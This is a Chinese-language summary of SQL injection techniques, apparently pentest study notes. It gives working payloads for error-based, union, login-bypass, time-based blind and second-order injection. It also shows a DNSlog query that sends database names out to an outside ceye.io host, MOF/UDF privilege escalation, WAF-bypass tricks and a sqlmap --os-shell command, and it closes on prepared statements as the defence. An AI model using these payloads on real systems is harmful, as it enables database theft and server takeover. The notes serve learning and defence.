sql注入的总结
目录
sql注入的原理
它是发生在应用程序与数据层的安全漏洞,用自己的话说,就是在输入的字符串中注入sql指令,因为程序设计不当,忽略了对字符的检查,这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。
可能带来的危害:
- 重要资料信息的泄露;
- 数据库服务器被攻击,系统管理员账户被篡改
- 获取系统较高的权限后,在网页中加入恶意的连接。
- 经由上传php简单的指令至对方之主机内,PHP之强大系统命令,可以让黑客进行全面控制系统(例如:php一句话木马)。
- 企业网站主页被窜改,门面尽失
基本流程:
信息收集 > 数据库类型 > 数据库版本 > 数据库用户 > 数据库权限 > 获取数据 >获取库信息 >获取表信息
>获取列信息 > 获取数据 >提权 >执行命令 > 读文件 >写文件
注入的分类
布尔型注入:在sql注入过程中,根据页面的返回结果来判断条件真假的注入方式。
报错型注入:在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。
主要场景有两种,一是当查询不回显内容,但是会打印错误信息;二是在insert和update等注入点(Order by查询),这些语句也会打印错误信息。
报错函数:updatexml()
存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,而hex出的数据包含字母和数字,所以第一个字母前面的内容都会丢失,updatexml报错最多只能显示32位,我们结合SUBSTR函数来获取数据就行了,
mysql>select updatexml(1,make_set(3,'~',(select user())),1);
ERROR 1105(HY000): XPATH syntax error:'~,aaa@qq.com'
extractvalue() (目标xml文档,xml路径)。语法中第二个参数Xpath是可操作的地方,如果我们写入错误的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
mysql>select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));//获取表名
ERROR 1105(HY000): XPATH syntax error:'\users'
floor()返回小于等于括号内该值的最大整数,也就是取整。floor(rand(0)*2)就是对rand(0)产生的随机序列乘以2后的结果,再进行取整。
exp()
联合查询注入:
get型。数字型:根据获取的字段进行联合查询,查看显示点。and 1=2 union select 1,2,3,4,5 // ' and 1=2 union select 1,2,3-- qwe
and1=2unionselect1,database(),table_name,4,5from information_schema.tables where table_schema=database() limit 0,1//爆表名
post型。万能密码:where前面的那个条件为假后面的1=1为真,or或,一真一假为真,所以条件为真,则查询表里的全部数据。
' or 1=1 -- qwe ' or 1=1 order by 1 -- qwe
时间型盲注:MySQL延时注入,延时注入就是在盲注的基础上增加了两个函数:if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句 如果错误执行第三个语句
sleep():休眠多少秒
' and if(length(database())>8,1,sleep(5))
DNSlog注入:Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.com
、t00ls.com.
等的访问信息。
通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志
and(SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.75icr7.ceye.io\\abc'))),ceye.io运用了泛解析,然后ceye.io的子域名的解析都是在某台服务器,然后它记录下来了有人请求访问了root.75icr7.ceye.io,然后在ceye这个平台上面显示出来了,abc为共享文件夹。
二阶注入:也称二次注入,原理是sql语句在没有被转义的情况下直接存入数据库,然后在被读取查询而导致的。
源码中的sql语句: UPDATE users SET PASSWORD='$pass'where username='$username'and password='$curr_pass'
即将被执行的语句: UPDATE users SET PASSWORD='$pass'where username='admin'#' and password='$curr_pass'
最终被执行的语句:UPDATE users SET PASSWORD='$pass'where username='admin'
Order By 注入: Order by注入是比较特殊的情况, sql语句为 select * from admin order by $id
。我们一般用order by 来判断列数,其实它就是一个依照第几个列来排序的过程。
注入检测
我们可以通过在应用程序中触发报错或使用布尔型注入,最容易检测到脆弱的参数。构造格式错误的查询将触发错误,而发送带有各种布尔逻辑语句的有效查询将触发来自web服务器的不同响应。
注入提权
mof提权:
Windows Server 2003/XP 等 Windows低版本 ,需要权限:必须要有导出权限,原理:mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof,叫做托管对象格式, 它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,拥有了MySQL的root权限 后,使用root权限去执行上传操作,将我们重新改写过的mof文件上传,之后,这个文件会被服务器每隔5秒 以system权限执行。这个改写的mof中,有一段是vbs脚本,这个vbs大多数是cmd的添加管理员用户的命令。
udf提权:
只和Mysql有关,必须要有导出权限,且用户必须root权限
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。通过加载dll文件扩展,我们可以让Mysql去做一切事情。
sys_eval:执行任意命令,并将输出返回。
绕waf的技巧
IIS+ASP的环境中,对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本 处理时会将其忽略
IS支持Unicode编码字符的解析,但是某些WAF却不一定具备这种能力。
HPP(HTTP Parameter Pollution): HTTP参数污染。
id=union+select+password/&id=/from+admin来逃避对 select * from 的检测。因为HPP特性,id的参数值最终会变为:union select password/,/from admin
畸形HTTP请求
当向Web服务器发送畸形的,非RFC2616标准的HTTP请求时, Web服务器出于兼容的目的,会尽可能解析畸形HTTP请求。
WEB应用层缺陷
多重编码
多数据来源的问题
waf自身缺陷:
数据获取方式存在缺陷
白名单机制
数据处理不恰当
%00截断 将 %00 进行URL解码,即是C语言中的NULL字符,
&字符处理
注入工具
SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
Tamper,
可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。
tamper脚本的基本结构为 priority
变量定义和 dependencies
、 tamper
函数定义。
-
priority
定义脚本的优先级,用于有多个tamper脚本的情况。 -
dependencies
函数声明该脚本适用或不适用的范围,可以为空。 -
tamper
是主要的函数,接受的参数为payload
和**kwargs
,返回值为替换后的payload
sqlmap udf提权:
sqlmap\data\udf\mysql\windows\32 目录下存放着32位的 lib_mysqludf_sys.dll,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。
可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll
解码后在 sqlmap\data\udf\mysql\windows\32 文件夹下会生成 dll 文件。
sqlmap.py -d “mysql://root:aaa@qq.com:3306/test” -–os-shell
防止sql注入的方法:预编译。
预编译语句是什么
通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:
-
- 词法和语义解析
- 优化sql语句,制定执行计划
- 执行并返回结果
所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。